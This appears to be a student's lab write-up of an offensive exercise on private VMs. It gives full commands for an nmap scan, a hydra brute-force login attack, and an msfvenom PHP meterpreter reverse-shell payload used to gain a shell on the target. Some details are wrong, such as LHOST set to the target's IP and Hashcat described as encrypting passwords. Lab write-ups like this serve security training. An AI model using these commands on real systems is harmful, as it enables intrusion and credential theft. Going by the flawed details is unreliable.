**Planning an Engagement**

**“How do you plan and execute an effective offensive engagement?”**

In the next few paragraphs we will look at what it takes to plan and execute an effective offensive engagement. In Project 2 there were 3 VMs on the network. The first VM, the Kali “attack” VM, this is the VM I used to do the attacking and it’s IP address is 192.168.1.90. The second VM, the Capstone VM, was the VM I was attacking and it’s IP address is 192.168.1.105. The third and final VM, the ELK Server, is the VM server that all of the Capstone logs are sent to and it’s IP address is 192.168.1.100. The goal of infiltrating the Capstone VM was to connect to it via a WebDAV connection and find and capture a flag. In this attack I used nmap to scan the network to find the IP address of the VM I was attacking, and to see what ports were open. From this I found that port 80 was open. I also used a web browser to navigate to the web page, using the Capstone’s VM IP, to access the company’s directories that were stored on the web server. I used hydra to brute force the login pages and obtain login credentials. Once into the secret folder I used crackstation to crack the provided hash. I then used msfconsole to create a custom web shell and then meterpreter to open a connection to the target. The only security measures I came across on this network were the password protected directories.

As stated above, I used nmap to find the necessary info about the target machine. The nmap scan I used was **nmap 192.168.1.0/24 –v**. From this scan I saw that port 80 was open on 192.168.1.105. I then typed the IP 192.168.1.105 into a web browser and it took me to the company\_folders directory and in this I found that the hidden directory was in this location, **192.168.1.105/company\_folders/secret\_folder**. Then searched on the web to see where rockyou.txt.gz lives on a Linux machine. This is the file where all the user names and passwords live. I then used **gunzip rockyou.txt.gz** to unzip the file, then ran a hydra command to brute force the login to the secret folder. The hydra command I used was, **hydra –l ashton –P rockyou.txt –s 80 –f –vV 192.168.1.105 http-get /company\_folders/secret\_folder/**. Once past the login I was able to find the WebDAV login instructions which provided a hash. I pasted that hash into crackstation to get the password for ryan’s account, which was the username the WebDAV instructions said to use. Once logged into WebDAV I used the file system and searched for **dav://192.168.1.105/webdav**. After gaining successful entry into WebDAV I wrote a reverse payload PHP script using msfvenom. The script I used was, **msfvenom –p php/meterpreter/reverse\_tcp LHOST=192.168.1.105 LPORT=4444 > shell.php**. I then ran the exploit in Metasploit. After the reverse shell was successfully created I moved the file into the WevDAV directory. Next I went to the webpage **192.168.1.105/webdav** and clicked the shell file to run it. Then, back in metasploit I ran the command **shell** to open a bash shell. I then had successful access onto the Capstone VM.

The brute force method I used to gain the login information to the secret\_folder was the only method that was easily detectable by monitoring solutions. Instead of using a brute force method to obtain the login credentials I could have used a tool like Hashcat to encrypt the passwords. Obtaining the passwords this way would have been a little stealthier.